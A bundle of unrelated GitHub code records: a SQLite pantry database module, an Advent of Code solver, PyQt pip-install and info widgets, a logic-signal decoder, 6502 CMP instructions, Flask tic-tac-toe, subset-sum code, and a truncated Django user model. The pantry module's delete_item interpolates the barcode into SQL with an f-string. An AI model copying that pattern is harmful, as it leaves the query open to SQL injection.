Thomas Sirack\nDate: 2022-01-10\n\"\"\"\n\n\"\"\"\nThis file deals with the creation and management of the database.\n\"\"\"\n\nimport sqlite3\nimport pathlib\n\n### subroutines ###\n\n## input ##\ndef add_item(CONNECTION, CURSOR, DATA):\n \"\"\"\n Add an item to the database.\n\n Args:\n CONNECTION (object):\n CURSOR (object):\n DATA (list): list containing the product name, unit count,\n unit weight, expiration date, and barcode\n \"\"\"\n\n CURSOR.execute(\"\"\"\n INSERT INTO\n pantry\n VALUES(\n ?, ?, ?, ?, ?\n )\n ;\"\"\", DATA)\n CONNECTION.commit()\n\n## processing ##\ndef does_exist(DB_FILENAME):\n \"\"\"\n Checks to see if the database file at DB_FILENAME\n exists.\n\n Args:\n DB_FILENAME (str): path to the database file\n\n Returns:\n EXISTS (bool):\n \"\"\"\n\n if(pathlib.Path.cwd() / DB_FILENAME).exists():\n return True\n\n return False\n\ndef get_connection(DB_FILENAME):\n \"\"\"\n Opens the connection to the database file at DB_FILENAME.\n\n Args:\n DB_FILENAME (str): path to the database file\n\n Returns:\n CONNECTION (object):\n \"\"\"\n\n CONNECTION = sqlite3.connect(DB_FILENAME)\n return CONNECTION\n\ndef get_cursor(CONNECTION):\n \"\"\"\n Gets the cursor for the specified connection.\n\n Args:\n CONNECTION (object):\n\n Returns:\n CURSOR (object):\n \"\"\"\n\n CURSOR = CONNECTION.cursor()\n return CURSOR\n\ndef close_connection(CONNECTION):\n \"\"\"\n Closes the specified connection.\n Be advised that any cursor objects that used this connection\n will no longer work.\n\n Args:\n CONNECTION (object):\n \"\"\"\n\n CONNECTION.close()\n\ndef update_item(CONNECTION, CURSOR, DATA):\n \"\"\"\n Updates an item in the database by barcode.\n\n Args:\n CONNECTION (object):\n CURSOR (object):\n DATA (list): new data to insert\n \"\"\"\n\n CURSOR.execute(\"\"\"\n UPDATE\n pantry\n SET\n product_name = ?,\n product_count = ?,\n unit_weight = ?,\n expiration_date = ?\n WHERE\n barcode_number = ?\n ;\"\"\", DATA)\n CONNECTION.commit()\n\ndef delete_item(CONNECTION, CURSOR, BARCODE):\n \"\"\"\n Deletes an item in the database by barcode.\n\n Args:\n CONNECTION (object):\n CURSOR (object):\n BARCODE (str): item to remove\n \"\"\"\n\n # f-strings are not the best idea, but for some reason SQLite DOES NOT\n # like me specifying the barcode as a binding; it errors saying I have specified\n # too many, when there is only one being specified...\n CURSOR.execute(f\"\"\"\n DELETE FROM\n pantry\n WHERE\n barcode_number = {BARCODE}\n ;\"\"\")\n CONNECTION.commit()\n\ndef init_db(CONNECTION, CURSOR):\n \"\"\"\n Initialize the database file.\n This function adds the tables and columns to the database on the first run.\n\n Args:\n CONNECTION (object): connection to the database\n CURSOR (object):\n \"\"\"\n\n \"\"\"\n Notes:\n\n - the unit weight is how many grams per \"container\" of a product\n (e.g. a single 454 gram box of crackers has a unit weight of 454 grams)\n - likewise, product count is how many containers of a product you have.\n it is stored as a REAL to allow for partial containers (e.g. 0.5 of a box)\n - the expiration date is stored as an INT object as the number of seconds since\n the Unix epoch (January 1, 1970, 00:00:00 UTC)\n - the barcode number is stored as a string to avoid stripping of zeroes at the\n beginning\n \"\"\"\n\n CURSOR.execute(\"\"\"\n CREATE TABLE\n pantry(\n product_name TEXT NOT NULL,\n product_count REAL NOT NULL,\n unit_weight REAL NOT NULL,\n expiration_date INT NOT NULL,\n barcode_number TEXT PRIMARY KEY\n )\n ;\"\"\")\n\n CONNECTION.commit()\n\n## output ##\ndef get_one_item(CURSOR, BARCODE):\n \"\"\"\n Returns the specified item from the database, determined by the\n primary key - in this case the barcode number.\n\n Args:\n CURSOR (object):\n BARCODE (str): the barcode number\n\n Returns:\n ITEM (list): the item in the database\n \"\"\"\n\n ITEM = CURSOR.execute(\"\"\"\n SELECT\n *\n FROM\n pantry\n WHERE\n barcode_number = ?\n ;\"\"\", [BARCODE]).fetchone()\n\n return ITEM\n\ndef get_all_items(CURSOR):\n \"\"\"\n Returns all items presently in the database.\n\n Args:\n CURSOR (object):\n\n Returns:\n ITEMS (list): all items in the database\n \"\"\"\n\n ITEMS = CURSOR.execute(\"\"\"\n SELECT\n *\n FROM\n pantry\n ORDER BY\n product_name\n ;\"\"\").fetchall()\n\n return ITEMS\n\ndef get_all_items_by_expiry(CURSOR):\n \"\"\"\n The same as get_all_items(), but ordered by expiration\n date instead.\n\n Args:\n CURSOR (object):\n\n Returns:\n ITEMS (list): list of items in the database.\n \"\"\"\n\n ITEMS = CURSOR.execute(\"\"\"\n SELECT\n *\n FROM\n pantry\n ORDER BY\n expiration_date\n ;\"\"\").fetchall()\n\n return ITEMS\n\n### \"__main__ escape\" ###\nif __name__ == \"__main__\":\n pass\n","repo_name":"GriffintheFolf/Kitchen-Inventory-Manager","sub_path":"src/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":4780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"24780374970","text":"import re\n\n\ndef read_instructions():\n pattern = re.compile('^([NSEWLRF])(\\d+)$')\n with open('input.txt') as f:\n lines = f.read().splitlines()\n instructions = []\n for line in (lines):\n action, arg = pattern.match(line).groups()\n instructions.append((action, int(arg)))\n return instructions\n\n\ndef main():\n instructions = read_instructions()\n x, y, rot = 0, 0, 90\n for action, arg in instructions:\n if action == 'F':\n if rot == 0:\n action = 'N'\n elif rot == 180:\n action = 'S'\n elif rot == 90:\n action = 'E'\n elif rot == 270:\n action = 'W'\n else:\n assert False, f'Unknown rotattion {rot}!'\n if action == 'N':\n y += arg\n elif action == 'S':\n y -= arg\n elif action == 'E':\n x += arg\n elif action == 'W':\n x -= arg\n elif action == 'L':\n rot = (rot - arg) % 360\n elif action == 'R':\n rot = (rot + arg) % 360\n else:\n assert False, f'Unknown action {action}!'\n\n manhattan_distance = abs(x) + abs(y)\n print('Manhattan Distance: %d' % manhattan_distance)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"fdamken/advent-of-code","sub_path":"2020/12/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27127620705","text":"import shutil\n\nfrom PyQt5 import uic\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\n\n\nclass QuickInstall(QDockWidget):\n def __init__(self, parent=None, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n # Setup the user interface\n self.parent = parent\n self.setup_ui()\n\n def setup_ui(self):\n uic.loadUi(\"Pug/ui/docks/quickinstall/quickinstall.ui\", self)\n\n # Setup the radio buttons\n self.radio_python_2.version = 2\n self.radio_python_3.version = 3\n\n self.version_button_group = QButtonGroup()\n self.version_button_group.addButton(self.radio_python_2)\n self.version_button_group.addButton(self.radio_python_3)\n\n self.bind_signals()\n\n def bind_signals(self):\n self.install_button.clicked.connect(self.install_package)\n\n @pyqtSlot()\n def install_package(self):\n \"\"\" Installs the selected package \"\"\"\n package_name = self.package_name_entry.text()\n\n try:\n python_version = self.version_button_group.checkedButton().version\n except:\n pass\n\n if package_name != \"\":\n package = package_name\n self.pip_process = QProcess()\n\n if python_version == 3:\n # Try the python3 command, otherwise fallback to the python command\n if shutil.which(\"python3\"):\n self.pip_process.setProgram(\"python3\")\n else:\n self.pip_process.setProgram(\"python\")\n else:\n self.pip_process.setProgram(\"python\")\n\n if self.pip_process.program():\n if self.user_dir_check.isChecked():\n self.pip_process.setArguments(['-m', 'pip', 'install', '--user', package])\n else:\n self.pip_process.setArguments(['-m', 'pip', 'install', package])\n\n if self.pip_process:\n self.pip_process.readyReadStandardOutput.connect(self.update_installation_process)\n self.pip_process.finished.connect(self.on_pip_process_finished)\n self.pip_process.start()\n\n def update_installation_process(self):\n str_data = str(self.pip_process.readAll(), 'utf-8').strip()\n try:\n self.parent.console.add_text(str_data)\n except:\n print(str_data)\n\n def on_pip_process_finished(self):\n try:\n self.parent.console.add_text(\"Finished\")\n except:\n print(\"Finished\")\n","repo_name":"iwoithe/Pug","sub_path":"src/Pug/ui/docks/quickinstall/quickinstall.py","file_name":"quickinstall.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"38834694225","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\n#locals\nfrom .funciones_informacion import Funcion_informacion\nfrom src.views.botones.inicio.funciones import *\n\nclass Boton_informacion(Funcion_informacion):\n def boton_informacion_manual(self, widget):\n self.informacion_manual = QToolButton(widget)\n self.informacion_manual.setText('Manual de Usuario')\n self.informacion_manual.setObjectName(\"button\") # nombre de enlace a css\n self.informacion_manual.setIcon(QIcon('src/views/static/icons/icono_manual_usuario')) # icono\n self.informacion_manual.setIconSize(QSize(self.height/11, self.height/11))\n self.informacion_manual.setToolButtonStyle(Qt.ToolButtonTextUnderIcon)\n self.informacion_manual.setGeometry(self.width/4.5, self.height/2.8,\n self.width/4, self.height/3.9)\n self.informacion_manual.clicked.connect(self.InformacionManual)\n self.informacion_manual.setVisible(False)\n\n def boton_informacion_fabricante(self, widget):\n self.informacion_fabricante = QToolButton(widget)\n self.informacion_fabricante.setText('Información del\\nFabricante')\n self.informacion_fabricante.setObjectName(\"button\") # nombre de enlace a css\n self.informacion_fabricante.setIcon(QIcon('src/views/static/icons/favicon3')) # icono\n self.informacion_fabricante.setIconSize(QSize(self.height/11, self.height/11))\n self.informacion_fabricante.setToolButtonStyle(Qt.ToolButtonTextUnderIcon)\n self.informacion_fabricante.clicked.connect(self.InformacionFabricante)\n \n self.informacion_fabricante.setGeometry(self.width/1.9, self.height/2.8,\n self.width/4, self.height/3.9)\n self.informacion_fabricante.setVisible(False)\n\n def qr_informacion_qr(self, widget):\n self.informacion_qr = QToolButton(widget)\n self.informacion_qr.setObjectName(\"button_trasnparente\") # nombre de enlace a css\n self.informacion_qr.setIcon(QIcon('src/views/static/icons/QRDRIVE.png')) # icono\n self.informacion_qr.setIconSize(QSize(self.height/5, self.height/5))\n self.informacion_qr.setGeometry((self.width/2) - (self.height/7), (self.height/2) - (self.height/7),\n self.height/5, self.height/5)\n self.informacion_qr.setVisible(False)\n\n def label_informacion_label(self, widget):\n self.informacion_label = QLabel(widget)\n self.informacion_label.setObjectName(\"FabInfo\") # nombre de enlace a css\n self.informacion_label.setText(\"GRACIAS POR USAR RETEDECON\\n\"\n \"\\n\"\n \"RETEDECON es fabricado por:\\n\"\n \" - Julián C. Velandia\\n\"\n \" - Sebastian Cubides\\n\"\n \" - Brayan Guevara\\n\"\n \" - Jhon B. Muñoz\\n\"\n \"Con la coolaboración de: \\n\"\n \" - Diego A. Tibaduiza\\n\"\n \"Bajo la supervición y sustento de la Unidad De Gestion De La Innovación,\\n\"\n \"Facultad De Ingeniería (Ingnova), de La Universidad Nacional De Colombia.\\n\\n\"\n \"Si desea contactarse con nosotros puede hacerlo a través de los siguientes medios:\\n\"\n \" - Celular/Whatsapp: +57 313 8244012\\n\"\n \" - E-Mail: scubidest@unal.edu.co\\n\\n\"\n \"Versión del Software: 1.0\")\n self.informacion_label.setGeometry((self.width / 6), (self.height/9),\n self.width / 1.2, self.height/1.2)\n self.informacion_label.setVisible(False)","repo_name":"julianVelandia/UI_RETEDECON","sub_path":"src/views/botones/informacion/boton_informacion.py","file_name":"boton_informacion.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"37594337981","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThis module provides an API to decode a signal.\n\"\"\"\n\nimport math\nimport numpy as np\n\n\n__all__ = (\n 'decode_i2c',\n 'decode_uart'\n)\n\n\ndef decode_i2c(frames):\n \"\"\" Decode I2C messages.\n\n Returns:\n list: [ I2C(...), ... ]\n \"\"\"\n results = []\n x_scale = frames[0].sx # x scale, seconds per ADC sample\n x_trans = frames[0].tx # x translate, seconds\n\n # Convert ADC level to logic level 0, 1\n scl = frames[0].to_ttl()\n sda = frames[1].to_ttl()\n\n # Compute [n+1]-[n] so that 0=no change, 1=rise, -1=fall\n scl_diff = (scl[1:] - scl[:-1])\n sda_diff = (sda[1:] - sda[:-1])\n\n # Get indexes of start/stop edges \n edges = [ i for i in range(len(sda_diff))\n if sda_diff[i] and scl[i] and not scl_diff[i] ]\n\n for j, start in enumerate(edges): # sda start stop edges\n if sda_diff[start] < 0: # sda fall for start or re-start \n try:\n stop = edges[j + 1] # re-start or stop\n except IndexError:\n stop = len(scl_diff) # in case stop is missing\n\n # read each bit on clk fall between start and stop\n mbits = [ sda[i] for i in range(start, stop) if scl_diff[i] < 0 ]\n\n # payload bits to bytes, msb first (without START, ACK, NACK, STOP)\n mbytes = [ _pack_msb(mbits, i, 8) for i in range(1, len(mbits), 9) ]\n\n # message start/stop time relative to trigger (seconds)\n x_start = x_trans + x_scale * start\n x_stop = x_trans + x_scale * stop\n\n if len(mbytes):\n msg = I2C(x_start, x_stop, bytes(mbits), bytes(mbytes))\n results.append(msg)\n\n return results\n\n\nclass I2C:\n\n def __init__(self, start, stop, mbits, mbytes):\n self.start = start #: Start time (s)\n self.stop = stop #: Stop time (s)\n self.addr = mbytes[0] >> 1 #: Address\n self.rw = mbytes[0] & 1 #: Read:1 Write:0\n self.data = mbytes[1:] #: Data\n self.ack = mbits[9::9] #: List of ACK/NACK\n\n def __str__(self):\n s_start = _format_time(self.start)\n s_addr = format(self.addr, '02X')\n s_rw = ['R', 'W'][self.rw]\n s_data = ''.join(map(lambda x: '\\\\x%02X' % x, self.data))\n s_ack = ''.join(map(lambda x: '\\\\%d' % x, self.ack))\n return \"I2C(start=%s, addr=0x%s, rw=%s, data=b'%s', ack=b'%s')\" % (\n s_start, s_addr, s_rw, s_data, s_ack)\n\n def __repr__(self):\n return self.__str__()\n\n\n\ndef decode_uart(frames, baud=None, bits=8, parity=None, msb=False):\n \"\"\" Decode UART messages .\n\n Returns:\n list: [ UART(...), ... ]\n \"\"\"\n inputs = []\n pulse_pts = 1e6\n\n for frame in frames:\n # Convert ADC level to logic level 0, 1\n data = frame.to_ttl()\n # Compute [n+1]-[n] so that 0=no change, 1=rise, -1=fall\n diff = data[1:] - data[:-1]\n # Get indexes of all edges\n edges = np.nonzero(diff)[0]\n # Get minimum pulse width\n pulse_pts = min(pulse_pts, (edges[1:] - edges[:-1]).min() or 1e6)\n\n inputs.append((frame, data, diff, edges))\n\n if not baud:\n if pulse_pts < 1e6:\n baud = round(1 / (pulse_pts * frame.sx))\n else:\n baud = 9600\n print('Setting decoding to %s bauds (pulse=%s)' % (\n baud, _format_time(1 / baud)))\n\n results = []\n\n # number of bits (START DATA PARITY STOP)\n size = 1 + bits + (0 if parity is None else 1) + 1\n last = -1 if parity is None else -2\n\n for frame, data, diff, edges in inputs:\n\n # points per bit\n bit_pts = 1 / baud / frame.sx\n\n p = 0\n for start in edges:\n if start >= p:\n p = start + 1 + bit_pts * 0.4 # jump to center of first bit\n try:\n # read center of bits at a fixed period\n mbits = [ data[round(p + i * bit_pts)] for i in range(0, size) ]\n except IndexError:\n continue\n\n if not mbits[0] and mbits[-1]:\n # decode if first is low and last is high\n cs = (parity or 0) & 1\n val = 0\n for b in mbits[1:last] if msb else mbits[last-1:0:-1]:\n val = (val << 1) | b\n cs ^= b\n\n # check parity bit if any (True if matches)\n err = parity is not None and cs != mbits[-2]\n\n # message start/stop time relative to trigger (seconds)\n x_start = frame.tx + frame.sx * start\n x_stop = x_start + frame.sx * size\n\n msg = UART(frame.channel, x_start, x_stop, val, err)\n results.append(msg)\n\n # jump to center of last bit\n p = start + bit_pts * (size - 0.4)\n\n results.sort(key=lambda x: x.start)\n return results\n\n\nclass UART:\n\n def __init__(self, chl, start, stop, val, err):\n self.chl = chl #: int: Channel index\n self.start = start #: float: Start time (s)\n self.stop = stop #: float: End time (s)\n self.value = val #: int: Value\n self.error = err #: bool: True if parity missmatch\n\n def __str__(self):\n s_start = _format_time(self.start)\n s_chl = ('CH1', 'CH2')[self.chl]\n if self.error:\n msg = 'UART(channel=%s, start=%s, value=error!)'\n return msg % (s_chl, s_start, )\n else:\n msg = 'UART(channel=%s, start=%s, value=0x%02X)'\n return msg % (s_chl, s_start, self.value)\n\n def __repr__(self):\n return self.__str__()\n\n\n\ndef decode_wire(frame):\n \"\"\" Decode 1 WIRE messages.\n\n Returns:\n list: [ WIRE(...), ... ]\n \"\"\"\n results = []\n x_scale = frame.sx # x scale, seconds per ADC sample\n x_trans = frame.tx # x translate, seconds\n channel = frame.channel\n\n # Convert ADC level to logic level 0, 1\n ttl = frame.to_ttl()\n # Compute [n+1]-[n] so that 0=no change, 1=rise, -1=fall\n diff = ttl[1:] - ttl[:-1]\n # Get indexes of all edges\n edges = np.nonzero(diff)[0]\n # Get indexes of all falling edges\n edges_fall = np.where(diff == -1)[0]\n # Get points per bit\n bit_pts = (edges_fall[1:] - edges_fall[:-1]).min()\n bit_half_pts = bit_pts / 2\n\n value = 0\n n = 0\n\n for i, start in enumerate(edges):\n\n # continue if not falling edge\n if diff[start] != -1:\n continue\n\n # next rising edge if any\n try:\n pts = edges[i + 1] - start\n if pts > bit_pts: # reset\n n = 0\n continue\n except IndexError:\n break\n\n # unpack bit\n n += 1\n bit = int(pts < bit_half_pts)\n value = (value >> 1) | (bit << 7) # to 8 bits lsb first\n\n if n == 1: # if first bit\n x_start = x_trans + x_scale * (1 + start)\n elif n == 8: # if last bit\n n = 0\n x_stop = x_trans + x_scale * (1 + start + bit_pts)\n msg = WIRE(channel, x_start, x_stop, value)\n results.append(msg)\n\n return results\n\n\nclass WIRE:\n\n def __init__(self, chl, start, stop, value):\n self.chl = chl #: int: Channel index\n self.start = start #: float: Start time (s)\n self.stop = stop #: float: End time (s)\n self.value = value #: int: Value\n\n def __str__(self):\n s_start = _format_time(self.start)\n s_chl = ('CH1', 'CH2')[self.chl]\n msg = 'WIRE(channel=%s, start=%s, value=0x%02X)'\n return msg % (s_chl, s_start, self.value)\n\n def __repr__(self):\n return self.__str__()\n\n\n\ndef _pack_msb(bits, start, count):\n v = 0\n for b in bits[start: start + count]:\n v = (v << 1) | b\n shift = start + count - len(bits)\n return (v << shift) if shift > 0 else v\n\n\ndef _format_time(x, ndigits=4):\n n = 0\n while x and abs(x) < 0.1:\n x *= 1e3\n n += 1\n return format(round(x, ndigits), 'g') + ' mµnp'[n][:n] + 's' if x else '0'\n","repo_name":"florentbr/OWON-VDS1022","sub_path":"api/python/vds1022/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":8198,"program_lang":"python","lang":"en","doc_type":"code","stars":217,"dataset":"github-code","pt":"37"} +{"seq_id":"33992853096","text":"CMP_IMMEDIATE_OPCODE = 0xc9\nCMP_ZEROPAGE_OPCODE = 0xc5\nCMP_ZEROPAGEX_OPCODE = 0xd5\nCMP_ABSOLUTE_OPCODE = 0xcd\nCMP_ABSOLUTEX_OPCODE = 0xdd\nCMP_ABSOLUTEY_OPCODE = 0xd9\nCMP_INDIRECTX_OPCODE = 0xc1\nCMP_INDIRECTY_OPCODE = 0xd1\n\n\nclass CMPImmediate(object):\n def __init__(self):\n super(CMPImmediate, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.immediate()\n print(\"CMP memory byte read: %s\" % hex(byte_r))\n print(\"CMP register A read: %s\" % hex(cpu.a))\n print(\"CMP processor status Carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.cmp(byte_r)\n\n\nclass CMPZeroPage(object):\n \"\"\"CMP Zero Page instruction\"\"\"\n def __init__(self):\n super(CMPZeroPage, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.zero_page()\n print(\"CMP zero page byte read: %s\" % hex(byte_r))\n print(\"CMP register A read: %s\" % hex(cpu.a))\n print(\"CMP processor status Carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.cmp(byte_r)\n\n\nclass CMPZeroPageX(object):\n \"\"\"CMP Zero Page X instruction\"\"\"\n def __init__(self):\n super(CMPZeroPageX, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.zero_page_x()\n print(\"CMP zero page X byte read: %s\" % hex(byte_r))\n print(\"CMP register A read: %s\" % hex(cpu.a))\n print(\"CMP processor status carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.cmp(byte_r)\n\n\nclass CMPAbsolute(object):\n \"\"\"CMP absolute instruction\"\"\"\n def __init__(self):\n super(CMPAbsolute, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.absolute()\n print(\"CMP absolute byte read: %s\" % hex(byte_r))\n print(\"CMP register A read: %s\" % hex(cpu.a))\n print(\"CMP processor status carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.cmp(byte_r)\n\n\nclass CMPAbsoluteX(object):\n \"\"\"CMP absolute X instruction\"\"\"\n def __init__(self):\n super(CMPAbsoluteX, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.absolute_x()\n print(\"CMP absolute x byte read: %s\" % hex(byte_r))\n print(\"CMP register A read: %s\" % hex(cpu.a))\n print(\"CMP processor status carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.cmp(byte_r)\n\n\nclass CMPAbsoluteY(object):\n \"\"\"CMP absolute Y instruction\"\"\"\n def __init__(self):\n super(CMPAbsoluteY, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.absolute_y()\n print(\"CMP absolute Y byte read: %s\" % hex(byte_r))\n print(\"CMP register A read: %s\" % hex(cpu.a))\n print(\"CMP processor status carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.cmp(byte_r)\n\n\nclass CMPIndirectX(object):\n \"\"\"CMP indirect X instruction\"\"\"\n def __init__(self):\n super(CMPIndirectX, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.indirect_x()\n print(\"CMP indirect X byte read: %s\" % hex(byte_r))\n print(\"CMP register A read: %s\" % hex(cpu.a))\n print(\"CMP processor status carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.cmp(byte_r)\n\n\nclass CMPIndirectY(object):\n \"\"\"CMP Indirect Y instruction\"\"\"\n def __init__(self):\n super(CMPIndirectY, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.indirect_y()\n print(\"CMP indirect Y byte read: %s\" % hex(byte_r))\n print(\"CMP register A read: %s\" % hex(cpu.a))\n print(\"CMP processor status Carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.cmp(byte_r)","repo_name":"thales-angelino/py6502emulator","sub_path":"emulator_6502/instructions/_cmp.py","file_name":"_cmp.py","file_ext":"py","file_size_in_byte":3553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1877403091","text":"from flask import Flask, render_template, session, redirect, url_for\nfrom flask_session import Session\nfrom tempfile import mkdtemp\n\napp = Flask(__name__)\n\napp.config[\"SESSION_FILE_DIR\"] = mkdtemp()\napp.config[\"SESSION_PERMANENT\"] = False\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\nSession(app)\n\n@app.route(\"/\")\ndef index():\n if \"board\" not in session:\n session[\"board\"] = [[None, None, None], [None, None, None], [None, None, None]]\n session[\"turn\"] = \"X\"\n session[\"moves\"] = 0\n over = isOver(session[\"board\"], session[\"moves\"])\n return render_template(\"game.html\", game=session[\"board\"], turn=session[\"turn\"], over=over[0], winner=over[1])\n\n@app.route(\"/play/<int:row>/<int:col>\")\ndef play(row, col):\n session[\"moves\"] += 1\n session[\"board\"][row][col] = session[\"turn\"]\n if session[\"turn\"] == \"X\":\n session[\"turn\"] = \"O\"\n else:\n session[\"turn\"] = \"X\"\n return redirect(url_for(\"index\"))\n\n@app.route(\"/newgame\")\ndef newgame():\n session.clear()\n return redirect(url_for(\"index\"))\n\n@app.route(\"/computer\")\ndef computerTurn():\n move = minmax(session[\"board\"], session[\"turn\"])\n return redirect(\"/play/\" + str(move[1][0]) + \"/\" + str(move[1][1]))\n\ndef isOver(board, moves):\n for row in board:\n if row[0] is not None and row[0] == row[1] == row[2]:\n return (True, row[0])\n for col in range(3):\n if board[0][col] is not None and board[0][col] == board[1][col] == board[2][col]:\n return (True, board[0][col])\n if board[0][0] is not None and board[0][0] == board[1][1] == board[2][2]:\n return (True, board[0][0])\n if board[0][2] is not None and board[0][2] == board[1][1] == board[2][0]:\n return (True, board[1][1])\n if moves == 9:\n return (True, None)\n return (False, None)\n\ndef minmax(curBoard, turn):\n # X wins = 1, O wins = -1, tie = 0\n possMoves = []\n for i in range(3):\n for j in range(3):\n if curBoard[i][j] == None:\n possMoves.append((i,j))\n over = isOver(curBoard, 9-len(possMoves))\n if over[0]:\n if over[1] == \"X\":\n return (1, None)\n elif over[1] == \"O\":\n return (-1, None)\n else:\n return (0, None)\n\n if turn == \"X\":\n maxmove = None\n maxval = -2\n for a in possMoves:\n c = curBoard[:]\n c[a[0]][a[1]] = \"X\"\n result = minmax(c, \"O\")\n c[a[0]][a[1]] = None\n if result[0] > maxval:\n maxval = result[0]\n maxmove = a\n return (maxval, maxmove)\n else:\n minmove = None\n minval = 2\n for a in possMoves:\n c = curBoard[:]\n c[a[0]][a[1]] = \"O\"\n result = minmax(c, \"X\")\n c[a[0]][a[1]] = None\n if result[0] < minval:\n minval = result[0]\n minmove = a\n return (minval, minmove)\n","repo_name":"gujenny/tictactoe","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1354192708","text":"import random # for verification purpose only\n\n# A brute-force solution only answers the existence of subset for a given sum.\ndef brute_force(xs, s):\n if xs == []:\n return s == 0\n if len(xs) == 1:\n return xs[0] == s\n else:\n return brute_force(xs[1:], s) or xs[0]==s or brute_force(xs[1:], s-xs[0])\n\n# Method 1, DP solution based on [1].\ndef solve(xs, s):\n low = sum([x for x in xs if x < 0])\n up = sum([x for x in xs if x > 0])\n def col(j):\n return j - low\n n = len(xs)\n tab = [[False]*(up - low + 1) for _ in range(n + 1)]\n tab[0][col(0)] = True\n for i, x in enumerate(xs, start = 1):\n tab[i][col(x)] = True\n for j in range(low, up + 1):\n tab[i][col(j)] = tab[i][col(j)] or tab[i-1][col(j)]\n j1 = j - x\n if low <= j1 and j1 <= up:\n tab[i][col(j)] = tab[i][col(j)] or tab[i-1][col(j1)]\n def fetch(s, i):\n r = []\n if xs[i - 1] == s:\n r.append([xs[i - 1]])\n if i > 0:\n if tab[i - 1][col(s)]:\n r = r + fetch(s, i - 1)\n s = s - xs[i - 1]\n if low <= s and s <= up and tab[i-1][col(s)]:\n r = r + [[xs[i - 1]] + ys for ys in fetch(s, i-1)]\n return r\n return fetch(s, n)\n\n# Method 2: Use a vector instead of a 2D table.\ndef subsetsum(xs, s):\n low = sum([x for x in xs if x < 0])\n up = sum([x for x in xs if x > 0])\n tab = [set([]) for _ in range(low, up+1)]\n for x in xs:\n tab1 = tab[:]\n for j in range(low, up+1):\n if x == j:\n tab1[j] = tab1[j] | {frozenset([x])}\n j1 = j - x\n if low <= j1 and j1 <= up and tab[j1]:\n tab1[j] = tab1[j] | frozenset(ys | frozenset([x]) for ys in tab[j1])\n tab = tab1\n return list(tab[s])\n\n# Verification\ndef test():\n num = 100\n for i in range(num):\n n = random.randint(1, 10)\n xs = random.sample(range(-100, 100), n)\n l = sum([x for x in xs if x<0])\n u = sum([x for x in xs if x>0])\n s = random.randint(l, u)\n exist = brute_force(xs, s)\n s1 = solve(xs, s)\n s2 = subsetsum(xs, s)\n #print(s1, s2, s, xs)\n if exist:\n assert(s1 and all(sum(st) == s for st in (s1 + s2)) and len(s1) == len(s2))\n else:\n assert(s1 == [] and s2 == [])\n print(num, \"test passed\")\n\nif __name__ == \"__main__\":\n test()\n #[-87, -38, -14] -101 ==> [] 0\n #print(solve([-3, -2, -1], -4))\n #print(subsetsum([-3, -2, -1], -4))\n\n# Reference\n# [1]. http://en.wikipedia.org/wiki/Subset_sum_problem\n","repo_name":"liuxinyu95/AlgoXY","sub_path":"others/problems/subset-sum/subsetsum.py","file_name":"subsetsum.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":5880,"dataset":"github-code","pt":"37"} +{"seq_id":"14124077225","text":"from django.db import models\nfrom django.db.models import UniqueConstraint\nfrom django.contrib.auth.models import AbstractUser\nfrom django.core.validators import RegexValidator\nfrom django.core.exceptions import ValidationError\n\n\nclass User(AbstractUser):\n USER = 'user'\n ADMIN = 'admin'\n\n ROLE_CHOICES = [\n (USER, 'Пользователь'),\n (ADMIN, 'Администратор')\n ]\n\n email = models.EmailField('Email', max_length=150, unique=True)\n username = models.CharField(\n 'Имя пользователя',\n max_length=150,\n unique=True,\n blank=False,\n validators=[RegexValidator(regex=r'^[\\w.@+-]+$')],\n )\n first_name = models.CharField(\n 'Имя',\n max_length=150,\n blank=False\n )\n last_name = models.CharField(\n 'Фамилия',\n max_length=150,\n blank=False\n )\n role = models.CharField(\n 'Права пользователя',\n choices=ROLE_CHOICES,\n default=USER,\n max_length=5\n )\n\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = ['username', 'first_name', 'last_name']\n\n class Meta:\n verbose_name = 'Пользователь'\n verbose_name_plural = 'Пользователи'\n ordering = ('username',)\n\n def __str__(self):\n return self.username\n\n @property\n def is_admin(self):\n return self.role == self.ADMIN or self.is_staff\n\n\nclass Subscribe(models.Model):\n user = models.ForeignKey(\n User,\n related_name='followers',\n on_delete=models.CASCADE,\n verbose_name='Подписчик'\n )\n author = models.ForeignKey(\n User,\n related_name='authors',\n on_delete=models.CASCADE,\n verbose_name='Автор'\n 